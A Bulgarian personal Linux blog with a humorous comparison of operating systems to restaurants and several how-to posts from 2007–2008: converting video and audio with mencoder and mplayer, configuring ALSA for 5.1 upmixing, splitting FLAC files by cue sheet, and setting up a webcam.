Това е обикновена закусвалня от тип Макдоналдс. Средностатистически сандвичи (тип BigBalmer и Гейтс МакБиллис), без много голям избор, не е полезно (но е калорично) - всички си хапват и не се оплакват. Е, понякога в сандвичите попадат хлебарки и гайчици - в най-добрите студентски традиции. Вадиш и продължаваш да ядеш. Както и да се украсява и пудри, до ресторантско ниво няма да стигне. Поне до момента в който не се разбере как точно се готви там. Рецептите се пазят в пълна тайна, тъй като са се появили в страшни родилни мъки от посредствен готвач.

MacOS
Това е ресторант, в който всичко ще направят за вас, вкусно, на ниво и срещу не малко заплащане. Изискана кухня, обслужване - това в къщи едва ле можете да повторите. Рецептите няма да ви дадат, защото "това не ви е необходимо", още повече в кухнята съвсем няма да ви пуснат. И все пак, в ресторанта не работят богове...

Linux
Най-различно: от скъпи ресторанти до дебели книги с рецепти. В "ресторантския" вариант много ще е почти както в MacFood, т.е. на добро ниво, вкусно и красиво, и значително по-евтино. Същинска бизнес класа. Освен това когато поискате, веднага ще ви дадат рецептите и ще ви позволят да постоите в кухнята - всичко е открито. Най-известните ресторанти - RedHat, Novell, или Xandros.
В "рецептурния" вариант ви се предлага да застанете над печката и да си приготвите сами вечерята: тук има от замразени полуфабрикати до основни продукти, от които трябва да изберете подходящите и да ги смесите в правилно съотношение (...брашно колкото поеме...). Подправки слагате по свой вкус - това не е чак толкова лесно, ако до преди това сте се хранили само в заведения за бързо хранене.
Linux- това е възможност да проверите способностите си за творчество. Не всички умеят да готвят, не всичко се получава веднага и добре, но някои след време, независимо от купищата мръсни чинии и загорени тенджери, намират, че това е увлекателно занимание и постигат нелоши резултати. Като правило, достигналите известно ниво в майсторенето обожават да споделят рецептите си на страниците на Интернет. Когато свикнете, можете не само да готвите вкусно (и здравословно) за себе си, но и да нахраните приятелите си, дори можете да отворите неголям ресторант.

FreeBSD
Това е "Книга за вкусната и здравословна храна" без картинки, но с подробни обяснения какви продукти трябват и как трябва да се приготвят, за да получите готово ястие. Много напомня Gentoo с легендарната му "Готварска книга" (б.пр. всъщност е точно обратното Gentoo напомня FreeBSD). В ръцете на добрите готвачи могат да се получат вкусни манджи, но в повечето случаи приличат на тези, приготвени от начинаеща домакиня: малко пресолено, малко алангле и без вид, но се яде и мирише обещаващо.

BeOS / Haiku
Това е неголям набор от консерви за оцеляване в походни условия. Приготвени са от неголям, но много сплотен колектив от готвачи, основно за туристи, любители на екстремните спортове и изобщо за смели и находчиви хора. Умопомрачителните по оригиналност рецепти изискват екзотични подправки, нестандартни тенджери и умение за готвене на открит огън. На свикналите с бързото хранене и дори на тези с ресторантите това прави незабравимо впечатление, изпада се в шок, получава се сърцебиене и се обливате в студена пот.

YellowDog (игровите конзоли)
Това е по-скоро пица. Вкусно, но да се храните непрекъснато с това е невъзможно и неразумно. Рецептите почти не се променят с времето - слагат босилек вместо риган, добавят лук, или махат чесъна.

PalmOS
Това са различни видове кутии с бонбони и бисквити, нищо не приготвяте и веднага си хапвате. В днешно време се изместват от пирожките на MicroFood, със съмнително качество и странна миризма.

=====================================================================

текстът е превод на материал от Записки дебианщика

нещо като за real-video

2008-01-05T12:14:00.000+02:00

Прибирам се вчера от работа и дъщеря ми силно нещастна... Хлапето си прави някакви нейни си клипчета слепвайки от тук от там картинки и части от друго видео... лошо няма, радвам се че се занимава. Та свалила тя от някъде разни клипове ама те в real video формат... Нищо не мога да направя, нищо не ще да ги отваря - само в Totem, а аз искам да си взема нещо от там...
Споко казвам, не забравяй, че работиш на Linux, моето момиче, а там сложните работи стават по лесен и прост начин, но... трябва да работиш в конзола. Просто ще ги преобразуваме в avi формат и после си ги човъркай колкото искаш.
MPlayer е велика програма, може би колкото нея са само GIMP и Apache... Невероятно произведение на изкуството !!! Вече съм спрял да се учудвам за колко работи съм опирал до нея... Какво използуваме тук: неотделимата част от MPlayer - Mencoder, изключително мощния му инструмент за кодиране на видео.
Като за начало си отваряме конзола, или просто терминален прозорец (не е страшно)...

nicky:~>mencoder именавходящфайл.rm -ovc lavc -oac pcm -o именаизходящфайл.avi

натискаме enter и... започва магията. Колко време ще продължи, зависи от това колко ви е голям файла и колко бърз компютъра.
Нещо което ми е харесвало най-много в Linux е, че най-добрата информация за една програма се съдържа в нея самата... Ето ви пример

nicky:~> mencoder -oac help
MEncoder 1.0rc2-SUSE Linux 10.3 (i686)-Packman-4.2.1 (C) 2000-2007 MPlayer Team
...
Compiled with runtime CPU detection.

Available codecs:
copy - frame copy, without re-encoding (useful for AC3)
pcm - uncompressed PCM audio
mp3lame - cbr/abr/vbr MP3 using libmp3lame
lavc - FFmpeg audio encoder (MP2, AC3, ...)
twolame - Twolame MP2 audio encoder
faac - FAAC AAC audio encoder

и още :

nicky:~> mencoder -ovc help
MEncoder 1.0rc2-SUSE Linux 10.3 (i686)-Packman-4.2.1 (C) 2000-2007 MPlayer Team
...
Compiled with runtime CPU detection.

Available codecs:
copy - frame copy, without re-encoding. Doesn't work with filters.
frameno - special audio-only file for 3-pass encoding, see DOCS.
raw - uncompressed video. Use fourcc option to set format explicitly.
nuv - nuppel video
lavc - libavcodec codecs - best quality!
vfw - VfW DLLs, read DOCS/HTML/en/encoding-guide.html.
qtvideo - QuickTime DLLs, currently only SVQ1/3 are supported.
libdv - DV encoding with libdv v0.9.5
xvid - XviD encoding
x264 - H.264 encoding

Та зад няколкото неразбираеми заклинания от по-горния пример се крие следното нещо - кодиране на файла (входящия), с използуване на изходящ видео кодек lavc , с използуване на изходящ аудио кодек pcm, и записване на резултата във файла, дето сме указали най-накрая...
Кратко, точно и ясно...
След няколко минути имахме avi файл дето можеха да отварят всички видео редактори.
Кое му е сложното ?

Само едно - не можах след това да я изгоня още един час от компютъра...

Audacious - наследникът на XMMS

2007-12-08T13:53:00.001+02:00

Имало едно време... започване почти като в приказка, ама някак си, така ми идва отвътре. Та, имало едно време една прекрасна програма за просвирване на музика в Linux (UNIX...) - XMMS... Тя била от тези, най-добрите - дето вършат едно нещо, но го вършат много добре - просто, просвирване на музика... Всъщност за това не е необходимо кой знае какво: кодеци, несложен интерфейс, списък на песничките, еквилайзер. Може би - малко теми за външния вид и управление от клавиатурата...Е, може би още нещо, но плейърът трябва да си остава основно нищо по-различно от програма за възпроизвеждане на музика. Именно това е XMMS, и именно за това любителите на простотата (не простотията...) и по-старите потребители на Linux го ценят до ден днешен.
Всичко щеше да е повече от прекрасно, ако много неща в този свят не се променяха и местеха непрекъснато (включително и света на Linux). Linux отдавна излезе от оградения черен прозорец, нещо повече - много неща в него нарастват с темпото на търкаляща се снежна топка. За добро, или за зло не знам, но вече xgl и compiz се приемат от мнозина за даденост и не само те - изобщо цялата пищна GUI-бутафория на KDE/GNOME-like десктоп среди. Не съм фанатик на старото, но на не бива да се забравя какво има зад всичко това и, че именно то е ценното в тази OS.
Та в данданията и еуфорията на това бурно развитие XMMS някак си остана назад - не можеш да си променяш шрифтовете по удобен начин, ако трябва да се пипне нещо по таговете е малко приключение, а откакто UTF-8 стана подразбиращ се - олеле мале, за опитен потребител, пък за начинаещ да не говорим... И най-същественото менюто и настройките на GTK+1 - за днешното разглезено око е направо оскърбление... (ти да видиш!). Просто XMMS си остана вързан за него, заради повечето си външни плъгини търсещи този по-стар toolkit...
За мнозина това беше доста неприемливо и в комплект с тътрените с години и неоправяни бъгове, беше достатъчен повод за правене на форкове и странични проекти. Няма да ги изреждам - това което оцеля се казва AUDACIOUS.
Въпреки, че не е по същество непосредствен форк на XMMS - audacious наследи от него най-хубавото, като съумява да се интегрира перфектно в това което е днес масовата десктоп-среда.Най-хубавото: без товарене, без лакомия за RAM, без безконечна каталогизация на музиката ви и без за да просвирите една mp3-ка да ви трябва половината KDE, или четвърт от GNOME...
Поддържаните формати са много (запазвайки същата схема на XMMS с плъгини):
* MP3
* AAC, AAC+
* Vorbis
* FLAC
* Wavpack
* Musepack
* TTA
* WMA
* ALAC
* други модули
* най-различни chiptune формати: AY, GBS, GYM, HES, KSS, NSF, NSFE, SAP, SPC, VGM, VGZ, VTX
* Playstation Audio: PSF1, MiniPSF1
* Ad-lib chiptunes през AdPlug library
* Microsoft ADPCM, RIFF .wav data, 18+ други WAV формати подсигурявани от sndfile plugin.
* MIDI чрез вградения секуенсер, или TiMidity.
* CD Audio

Може да работи като транскодер за WAV, FLAC, Ogg и Mp3.
Да добавя ефекти при просвирването - extra stereo, LADSPA host, voice removal, ехо и други.
Поддържа плъгини за audioscrobbler, OSD, статус иконка за трея...
И още много, много... възможности
За тези които не са го виждали ето как изглежда при мен :

Ще завърша с това, което започнах: ("... той е дебеу...") той е бърз, прост, с непретенциозен интерфейс, с всички необходими възможности и поддръжка на практически всички разпространени формати... ("... не, той не е дебел...")
==================================================
в статията са използувани идеи от този блог

2007-10-27T11:40:00.002+03:00

От днес фамилията се увеличи с още един член, при това силно мъркащ... :).
Голямата ми дъщеря реши, че ще се казва Наруто, ама на мен нещо не може да ми се обърне езика. Викам си му писан, защото си е и момченце...

Смърт на AAC-то ! ;)

2007-10-22T21:22:00.000+03:00

Откакто излезе модата на цифровите формати за музика и най-вече откакто аз се занимавам по-отблизо с тях има един, дето ми лази по нервите... Изобщо ако съм имал проблеми с някой то е било с него - AAC, m4a, или както искате там го наричайте... Може би, защото не е от най-често срещаните и най-популярните (да кажем както mp3). Или няма да искат да го отварят плейърите, или няма да подлежи на обработка и пр. В крайна сметка реших, че ще го изкореня от дисковото си пространство и ще преработя съответните файлове в по-приемлив за мен формат - да кажем ogg. По принцип това е отнемащо доста време занимание, но резултатът си струваше, без да броим "психическото" ми равновесие.
Програмите, които битуват за съответните мултимедийни файлове са две - FAAC (кодекът) и FAAD - Ahead Software MPEG-4 AAC Decoder : добре е да ги имате и двата... Спокойно може да използувате за декодиране последния :

faad [options] infile.aac , -f X Set output format. Valid values for X are:
1: Microsoft WAV format (default).
2: RAW PCM data.

, но странното за мен беше, че това не винаги се получаваше. Така изпробвайки разни варианти, достигнах до следното, може би не най-елегантно решение, но вършещо перфектна работа. Всеки, или поне аз не познавам такъв линуксоид, има инсталиран Mplayer... това е изключително мощен инструмент за всевъзможни обработки на мултимедия.
Първо:
mplayer -ao help

Available audio output drivers:
oss OSS/ioctl audio output
alsa ALSA-0.9.x-1.x audio output
arts aRts audio output
esd EsounD audio output
jack JACK audio output
sdl SDLlib audio output
mpegpes DVB audio output
v4l2 V4L2 MPEG Audio Decoder output
null Null audio output
pcm RAW PCM/WAVE file writer audio output

използуваме възможността на mplayer да задаваме драйвера за аудио изход, това което ни върши работа тук е, pcm - с негова помощ генерираме RAW WAWE аудио файл.

mplayer -ao pcm somefile.m4a

това ще ни генерира файл audiodump.wav. И вече този WAV файл може да си го правим каквото си искаме - имате си LAME, имате си FFMPEG, OGG, FLAC... можете да го кодирате в каквото си искате. Веднага ще отбележа, че lossles кодеците е безсмислено да се използуват, защото m4a формата е все пак формат със загуби...
oggenc audiodump.wav - това ще ви генерира ogg-то...

Разбира се може да използувате многото опции на командата за да оправите таговете, да зададете качеството и прочие - но това за по-любопитните - прегледайте man-страницата.
Лично аз предпочитам за тази част от занятието да използувам някой графичен инструмент (човещинка, брато... лоши навици от бозата) - в случая GNormalize... понякога Audacity...

Това беше края на AAC-то при мен. VENSEREMOS !!!

Стерео към 5+1 звук и... Linux

2007-09-20T22:35:00.001+03:00

Много се писа напоследък, как да накараме звука на системата да тече през всичките 4,6 или повече канали на аудиокартата (кой с каквото се е сдобил). Вече сме 2007 година и много хора имат на разположение съвременни висококачествени възпроизвеждащи устройства тъй, че "обикновеното" стерео вече не задоволява капризните вкусове. Аз имам Creative Inspire P5800, примерно...
В началото предполагам, че разполагате все пак и със съответната многоканална аудиокарта - повечето правени през последните 2-4 години дъна са с вградени такива. От опита който имам, поне с моята, обаче те не винаги се разпознават напълно коректно, поради специфични хардуерни особености... друга тема, която не ми се захваща.
Отбелязвам, че няма да се спра тук на просвирване на DVD, или аудио файлове кодирани направо с DTS и AC3. Материята е много сходна, но все пак е друга... Т.е. - тук ще коментирам само просвирването на mp3, ogg, m4a, wav, flac и всички видове avi файлове, кодирани в "обикновено 2-канално стерео".
Отбелязвам, че това което ще се получи ще е значително по-скромно от възможностите, които ви предоставя оригиналния драйвер на аудиокартата, написан за Win... там с различните имитации на звук - на открито, в пещера, в зала и пр (той не ви е предоставен безплатно, нали?). Но все пак ще си имате звук през всичките си колонки и то не лош... Както ви харесва... Тук само ще вметна, че подобни ефекти (за тези които не могат без тях) много сполучливо се получават в Audacious, използувайки вградените му плъгини.
Всички давани примери са за конфигурацията на моята "щайга", а тя с течение на времето придоби доста екзотичен вид - вградена карта на дъното с чип C-Media, Creative sound blaster- външна USB и аудио хардуера (микрофончето...) на уебкамерата ми Labtec :

# cat /proc/asound/cards
0 [SI7012 ]: ICH - SiS SI7012
SiS SI7012 with CMI9761 at 0xdc00, irq 201
1 [External ]: USB-Audio - SB Live! 24-bit External
Creative Technology SB Live! 24-bit External at usb-0000:00:03.1-1,
full speed
2 [U0x46d0x8a2 ]: USB-Audio - USB Device 0x46d:0x8a2
USB Device 0x46d:0x8a2 at usb-0000:00:03.0-2, full speed

Поради причина, спомената по-горе, счетох за най-добре за мен да не използувам изобщо вградената на дъното карта. В крайна сметка конфигурацията на аудио устройствата останаха тези :

$ cat /proc/asound/cards
0 [External ]: USB-Audio - SB Live! 24-bit External
Creative Technology SB Live! 24-bit External at usb-0000:00:03.1-1, full speed
1 [U0x46d0x8a2 ]: USB-Audio - USB Device 0x46d:0x8a2
USB Device 0x46d:0x8a2 at usb-0000:00:03.0-2, full speed

Също така, предполагам че поддръжката на звука в ядрото ви се основава на ALSA - възможно най-последна версия, че при стартиране в ядрото ви са вмъкнати всички необходими модули (при инсталирането това би трябвало да е станало автоматично - не съм попадал на дистрибуция, която да не го прави, а тези които сериозно се занимават с компилиране на собствено ядро, обикновено са наясно с тънкостите).

При всеки може да е различно - пак както съм отбелязвал преди : комбинациите на хардуерни компоненти в PC са много.
Проверявате дали са ви там устройствата :

$cat /proc/asound/devices
0: [ 0] : control
1: : sequencer
4: [ 0- 0]: hardware dependent
16: [ 0- 0]: digital audio playback
24: [ 0- 0]: digital audio capture

32: [ 1] : control
33: : timer
56: [ 1- 0]: digital audio capture

Общо взето, проблемите със звука в Linux опират до няколко неща: приоритета на процесите свързани със звука и конфигурирането на системата така, че повече приложения да могат да използуват звуковата карта наведнъж. Начините са няколко. Това с приоритета вече не е толкова актуално, въпреки че доста дистрибуции предлагат специално компилирани ядра за работа със звук и мултимедия в реално време - но това е за професионални музиканти, в общия случай ние не сме...
По принцип "големите" десктоп среди използуват sound server (в KDE arts, в GNOME - esd), чиято цел е да координира работата на отделните приложения с аудиокартата така, че да няма конфликти. Но за жалост тези елементи от средите останаха най-несъвършени... неприятно, но факт. Все пак без въпросните сървъри засега не се минава. Най-малкото няма да имате системни звуци и някои приложения няма да можете да използувате докато слушате музика, примерно... Единственото пожелание е те да са конфигурирани(компилирани) с поддръжка на ALSA. Нямам опит с arts, но не вярвам проблемите с него да са по-различни от тези с ESD. От друга страна е ALSA - подразбиращата се sound-система на ядрото с непрекъснато усъвършенствуващите и се възможности. В конкретния случай нас ни касае dmix - това е дигиталния миксер на alsa... ето ви още една възможност за координация на аудиопотоците и приложенията (пример за многовариантността в света на Linux, може би в не най-добрата си светлина, или по-простичко казано - липсата на стандартизация). Става каша - пак пример: до неотдавна Skype използуваше OSS, което ви принуждаваше да останете на ниво OSS емулация в ALSA, с всичките произтичащи от това проблеми - пускате си плейър, ама в това време не можете да приказвате и обратното.
Но... да не се отклоняваме от темата: цялата дандания опира в крайна сметка до едно миниатюрно скрито файлче намиращо се в домашната ви директория на име .asoundrc.
Естествено, ако желаете тези настройки може да ги сложите на глобално ниво в основния кофигурационен файл на alsa - /etc/alsa.conf, въпрос на избор...
Синтаксиса на файла /home/xxx/.asoundrc е следният:

pcm.<име на устройство> {
type hw # или друг плъгин тип
card 0 # или 1
}

ctl.<име на устройство> {
type hw
card 0 # или 1
}

Паралелно с излагането на материала ще се опитвам да обяснявам някои термини и специфичен синтаксис. Ще вметна само, че документацията на ALSA е доста добра, но и доста лаконично изложена. Костваше ми доста време и опити да "хвана" логиката, тъй като в мрежата е пълно с примери, които ви сервират решение във вид на готов текст и никой не обяснява защо това се прови точно така, а не иначе... И все пак всички тези примери, поне лично на мен помогнаха много, най-малкото с насока, къде да дълбая.
PCM - (Pulse Code Modulaton) устройство - в случая общо казано - устройство за цифрова обработка на звук, като между големите скоби определяме какъв плъгин ще се използува - hw в случая и за точно кое хардуерно устройство се отнася - card 0 (виж по-горе списъка на картите от /proc ); hw - alsa плъгин, който комуникира директно с модула на ядрото, без каквото и да е преобразуване на данните, тук може и да е друго, както ще видитe по-долу.
Естествено, това е само грубата конструкция, за постигане на по-добри резултати ще трябва да понапишем още неща. Какво всъщност правим ? С помощтта на този конфигурационен файл дефинираме едно или няколко виртуални устройства на които можем да назначим възможности, "надграждащи" тези, които ви осигурява стандартния модул. Започваме...
Първо - дефинираме си наличните устройства като PCM :

pcm.usb-audio {
type hw
card 0 # това е първата ми карта

}

pcm.usb-webcam {
type hw
card 1 # това - втората (микрофончето на webcam)
}

Както казах, Алса има вградено приложение за софтуерно миксиране на звуци - dmix. Ще дефинираме с помощта на него и няколко други плъгина 6-канално цифрово устройство :

# 6 channel dmix:
pcm.dmix6 {
type dmix
ipc_key 1024 # това е уникален идентификатор
ipc_key_add_uid false # тук указваме, че повече от 1 потребител може да го ползува
ipc_perm 0660 # правата на въпросните потребители
slave {
pcm "hw:0,0" # виж по-горе
rate 96000
channels 6
period_time 0
period_size 1024 # може и 2048 опитвате...
buffer_time 0
buffer_size 5120 # дефинирате размера на буфера, при проблеми го коментирате, или намаляте
#стойността
}
}

Тук чрез dmix -> slave плъгин типовете дефинираме повечето параметри, които искаме да има нашето цифрово устройство. Искам да обърна внимание на slave плъгина, защото точно с негова помощ се "приписват" качества от едно на друго устройство - в случая dmix6, което има тези и тези параметри се привързва (робува, ако искате) към устройството указано като slave... Именно чрез него става навръзването на всички тези различни виртуални устройства, които описваме - това е важно да се разбере, като механизъм.
Сега ще укажем как да се разпределя звука към различните канали, за целта използуваме плъгина Route & Volume.

# upmixing:
pcm.ch51dup {
type route
slave.pcm "dmix6"
slave.channels 6
ttable.0.0 1 # канал 0 - front-left
ttable.1.1 1 # канал 1 - front-right
ttable.0.2 1 # канал 2 - rear-left на него подаваме сигнала от 0 със стойнос 1 (тук може да е от #0.0 до 1
ttable.1.3 1 # канал 3 - rear-right - пак така
ttable.0.4 0.5 # канал 4 - center като тук разпределяме поравно сигнала от предните канали
ttable.1.4 0.5
ttable.0.5 0.5 # канал 5 - subbufer - както при center
ttable.1.5 0.5
}

Тук, най-грубо казано, чрез инструкцията ttable на route сигнала от предните два канала копираме върху задните едноименни, а за центъра и суббуфера миксираме звука от двата. Първите две цифрички след ttable указват даващия и приемащия канал, третата е число от 0 до 1, указващо процентното съотношение но миксирането (в случай на миксиране на сигнал от повече от един канал към трети).
Същия резултат може да се постигне и чрез определяне на режима на plug - плъгин за автоматично преобразуване :

# upmixing:
pcm.ch51dup {

type plug
slave.pcm "dmix6"
route_policy duplicate # route policy for automatic ttable generation
# STR can be 'default', 'average', 'copy', 'duplicate'
# average: result is average of input channels
# copy: only first channels are copied to destination
# duplicate: duplicate first set of channels
# default: copy policy, except for mono capture - sum

}

Лично аз предпочитам първия вариант, като по-детайлен и ясен.
Сега бих искал да дефинирам устройството така, че да работи в дуплексен режим, т.е. да може да записва и просвирва едновременно. Използуваме плъгина asym :

pcm.duplex {
type asym
playback.pcm "ch51dup" # първо за просвирване
capture.pcm "usb-webcam" # записване - тук който микрофон ще ползувате
}

Най-накрая трябва да дефинираме подразбиращото се устройство, след всичките тези дефиниции :

# change default device:
pcm.!default {
type plug
slave.pcm "duplex"
}

И ето как изглежда целия файл :

pcm.usb-audio {
type hw
card 0 # това е първата ми карта
}

pcm.usb-webcam {
type hw
card 1 # това - втората (микрофончето на webcam)
}

# 6 channel dmix:
pcm.dmix6 {
type dmix
ipc_key 1024 # това е уникален идентификатор
ipc_key_add_uid false # тук указваме, че повече от 1 потребител може да го ползува
ipc_perm 0660 # правата на въпросните потребители
slave {
pcm "hw:0,0" # виж по-горе
rate 96000
channels 6
period_time 0
period_size 1024 # може и 2048 опитвате...
buffer_time 0
buffer_size 5120 # дефинирате размера на буфера, при проблеми го коментирате, или намаляте
#стойността
}
}

# upmixing:
pcm.ch51dup {
type route
slave.pcm "dmix6"
slave.channels 6
ttable.0.0 1 # канал 0 - front-left
ttable.1.1 1 # канал 1 - front-right
ttable.0.2 1 # канал 2 - rear-left на него подаваме сигнала от 0 със стойнос 1 (тук може да е от #0.0 до 1
ttable.1.3 1 # канал 3 - rear-right - пак така
ttable.0.4 0.5 # канал 4 - center като тук разпределяме поравно сигнала отпредните канали
ttable.1.4 0.5
ttable.0.5 0.5 # канал 5 - subbufer - както при center
ttable.1.5 0.5
}

pcm.duplex {
type asym
playback.pcm "ch51dup" # първо за просвирване
capture.pcm "usb-webcam" # записване - тук който микрофон ще ползувате
}

# change default device:
pcm.!default {
type plug
slave.pcm "duplex"
}

С риск да елементаризирам много, ще се опитам да "преразкажа" действието което имаме : имаме две аудиокарти, правим си дигитален миксер с 6 канала, който връзваме за първата аудиокарта (dmix6 -> slave hw 0:0), после 5+1 дупликатор, който ще разпределя звука от 2-та стерео канала към 6-те, както сме казали (ch51dup -> slave dmix6), ще прокарваме звука "нагоре и надолу" паралелно, т.е. ще можем да просвирваме и да записваме едновременно (playback... capture...) чрез устройството duplex и това ще е подразбиращото се (default!).

Само искам да отбележа накрая, че това не е единствения начин да постигнете същия резултат. Ровейки се в документацията на ALSA човек открива неподозирани възможности ! Всичко това което набелязах в този материал е само някаква отправна точка за тези, които биха искали още. Желая успех !

как да разделим голям аудио файл...

2007-08-17T00:01:00.000+03:00

Мнозина от вас, предполагам са се сдобивали с някакъв формат монолитен аудиофайл плюс cue-файл, предназначени за директно изпичане на аудио диск. До преди време, това напълно ме устройваше, докато тътрех с мен дискмена си. Но... вече настанаха "модерни" времена и в джоба ми, покрай ключодържателя се въргаля, поредната високо технологична джаджа - в случая MP3 player.
Чудейки се как да трансформирам flac/wav/ape-то на съставните му парчета, преминах през "дърводелския" период да изпичам диск, който в последствие да рипвам. Но в един момент реших, че това е тъпо изпълнение, да не говорим, че само си трупах презаписваеми дискове на които никой не знаеше какво има. Ще ви предложа на вниманието много елементарен начин, чието единствено "неудобство" е, че се работи в конзола...
Трябват ви две програми :
- cuetools
- shntools
Първата е набор от приложения за работа с CUE и TOC файлове - преобразуване, преименуване въз основа на информацията съдържаща се вътре и най-важното за нас - проследяване на точките на прекъсване зададени в cue-файла. Те са съответно - cuebreakpoints, cueconvert и cueprint. Втората - многофункционален инструмент за обработка на WAVE данни. Тук възможностите са много - разделяне, обединяване, извличане на информация и прочие (подробности от man-страницата).
И така : имаме следното нещо somefile.flac + somefile.cue, първия с големина около 700 MB. Първо отиваме в директорията където са файлчетата. За наше удобство по-добре да са в една и съща директория, иначе трябва да пишем пътища...

$cuebreakpoints somefile.cue

това ще изведе в конзолата всичките дефинирани в cue-то точки на прекъсване. Тук използуваме "магията" конвейер (pipe) в Linux (изходът от една команда се подава като вход на следващата) и казваме на shntool как да разцепи големия файл :

$cuebreakpoints somefile.cue | shntool split -o flac somefile.flac

split - режим на разделяне; -o flac - задаване на изходящия формат на файловете.

Резултатът ще са няколко файлчета номерирани 01, 02 и т.н. (това също може да зададете как и от какво число да се почне). Естествено за формата зададен в опциата -o, е необходимо да имате инсталирани съответните кодеци...
Е, имате си вече любимите парчета, остава само да оправите заглавията и таговете (адски досадна за мен работа, но винаги я върша, защото ме дразнят кофти тагове на песнички). Желая приятно слушане !

webcam & linux

2007-07-29T17:44:00.001+03:00

Текста на тази "статия" писах през октомври 2006 г. От тогава много неща се промениха : версии на програмите, споменавани вътре, възможностите им, както и дистрибуцията с която работя. Но съществената информация си е непроменена.

=========================================================================

И така... купих си уеб-камера Labtec. Глезотия с една дума, като си общувам по нета с приятни мен индивиди, да си гледаме и физиономиите. Комплекта лъскав, упътване и CD с драйвери и софтуер, ама само за ...windows естествено, не съм си и помислял друго.
Изпълнявам всичко за включването - то като за американци, с картинки, сакън да не мушне куплунга някъде другаде човек, не, че ще може...
Отварям аз YAST / със SUSE 10.1 съм, ровичкам по хардуера - камерата си е там, разпознало даже производителя и модела, да ама до тук. Никоя програма не намира въпросната камерка... Логично - трябват драйвери.
На теория всичко е ясно - модул, прекомпилиране на ядро / о, ужас ! / и всичко тръгва гладко... Да видим.
На помощ идва добрия стар Google ... Запитване "webcam linux" - разни коментари по форуми, тъпотии и бла бла. Зрънцето истина сред купищата се оказва следното Spca5xx - модул към ядрото. След 5-6 неудачни попадения, хоп : http://mxhaard.free.fr/index.html. Направо златна страница с изобилие от информация по интересуващата ме тема и то на 2 езика: fransais & english !
Какво е необходимо първо, естествено... да проверим дали камерата ми се поддържа от въпросния модул, или драйвер ако ви харесва. Списъкът е тук : http://mxhaard.free.fr/spca5xx.html, доста е дълъг и впечатляващ .
Продължаваме напред - сваляме файлчето - те са два за ядро преди 2.6.11 и за по-ново. Това, естествено са архиви... е знаем какво да правим с тях. Разопаковаме, ark си прави съответната папка /ако пък ви харесва действайте направо в конзола :) /, там се мъдри нещо такова - gspca_build . Е, това е което ни трябва !
Но ! Малко преговор преди това : какво трябва при компилиране и добавяне на модули към ядрото - основно 2 неща : gcc и kernel-source. Компилатора, обикновено си е инсталиран, но не е лошо да се провери. Виж, соурса на ядрото обикновено го няма трябва да се намира в /usr/src/linux-2.x.x - точната версия . Е, тук има едно малко капанче, за непатилите. Първо човек веднага се юрва да сваля соурса от първоизточника - http://www.kernel.org/. По принцип да, но това не е винаги най-правилното решение... При голяма част от дистрибуциите това върши работа. Но при доста други - не /SuSE е една от тях/. Защо ? Еми, защото разработчиците на съответната дистрибуция са намерили за добре да си компилират свой вариант на ядрото. Затова на съответния сайт с ъпдейти, или на диска има пакет kernel-source. Е точно той ни трябва...
Така-а-а ... Подредихме масата, накълцахме салатата, сега можем да действаме. Отиваме в директорията, където разархивирахме програмката (gspca_build), не забравяйте да я направите изпълнима... Влизаме като root по който начин предпочитате, и стартираме програмката. По монитора протичат няколко съобщения за това какво се прави в момента и след секунди всичко е готово. Това е ! Накрая restart и вече се радвах на новата си придобивка...
Е, не съвсем...
Не очаквах, че ще ми отнеме толкова време ровенето и изпробването на приложения за webcam и messengers...
Skype - много хубава програмка, най-редовно си приказвам по нея, но за съжаление към настоящия момент варианта и за линукс видео не поддържа. Да се надяваме на следващата версия... Междувременно ще палим свещи за здравето и работоспособността на разработчиците и.
Ekiga (Gnome-meeting) - който не е правил потребителска инсталация най-вероятно си я има. Само, че в СУСЕ 10.1 е малко по-стара версия и трябваше да си слагам по-новата допълнително (тази която поддържа и sip-протокол). Пак много хубава програмка, но мога да си приказвам и да се гледаме само с тия дето са на Линукс - версия за бозата "не се поддържа". Разсъждения на глас - на теория ако има клиент за бозата, който поддържа въпросния sip-протокол, би трябвало да стане... На практика - не ми се занимава, оставяме го за по-добри времена.
Kopete - аз съм си фен на KDE (*)и, естествено, първата ми работа беше да се захвана с него. С радост открих в документацията : Kopete Webcam Support , всичко се поддържа на 6, инсталираш си пакета Jasper, както пише там (то даже си е написано за SuSE 10.1) и започваш да си приказваш и да се гледате с friends до спукване... Да, ама не... Първо се захванах с Yahoo - ползвал съм му месинджъра в XP-то, преди време. Излиза си устройството (уебкамерата) в настройките, малко е тромаво самото настройване на видеото - уж със стандартни плъзгачи(brightnes, contrast, etc), ама те нещо не реагират точно както очакваш (просто може би е бъг). До тук добре, общо взето... Ама като отварям чат-прозореца в менюто има само опция за приемане на камера. За изпращане... ниц. Иначе приемането е без грешка - гледам си го аз приятелчето, но той мен не... Следва благословия...
Зарязвам аз yahoo-то и подхващам MSN. Това е много смотана програма, аз в бозата съвсем я бях махнал, защото е класически проводник на всякакви червеи, вируси и прочие вредители. Да, но, дори в другата среда е един от най-добре поддържащите видео-чат месинджъри. Изравям си аз някакъв древен акаунт от там... как изобщо си спомних паролата, но факт ! Пускам го аз - в менюто си седят всички опции - тоя път има и за изпращане на видео ! Пращам го аз, ама само с това си останах... Някои ще кажат тук - какво да го правиш - линукс...
Тук следва малко разстояние във времето, през което опитах нещата, които ще опиша по-долу, но сега ще избързам малко за да не разпокъсвам фактите. Скимна да си ъпгрейдна KDE-то от версия 3.5.1 до версия 3.5.5 release 19.1 (която е последната налична на сайта на opensuse). Имам горчив опит в това отношение... Не съм толкова опитен потребител, че да си компилирам всичко от соурс, практически неосъществима за мен задача към настоящия момент - едва ли бих се оправил с решаването на всички зависимости. Все пак графичната среда е доста сложна комбинация от програми, библиотеки и какво ли още не. По ми е лесно да си издърпам прекомпилираните пакети за дистрибуцията от сайта и. Преди време, доста дълго ползувах една много симпатична дистрибуцийка : Vectorlinux. Та реших аз, тогава да направя такава стъпка (току що беше излязла версия 3.5.0). Това беше фатално ! Е, все пак вектора, при всичките си хубавини, се прави от един файтон хора...Та, правя си аз бакъп на системата, че не ми се преинсталира всичко ( страх лозе пази ), давам ъпдейт, рестарт на X-а... Явно в SuSE хората си вършат перфектно работата... Системата работи !!!
По някое време решавам аз да видя Kopet-а, случайно няма ли да реши да отлепи... Еми да ! Yahoo - всичко вече си е на мястото и работи ; MSN - без промяна... Това е актуалното положение с клиента за моментни съобщения на KDE. Можем да сме почти доволни...

А ето сега и още няколко приграмки, които пробвах след първия си неуспех с Kopete.

Gyache - клонинг на Yahoo-messenger. Сайт на проекта http://www.phrozensmoke.com/projects/pyvoicechat/.
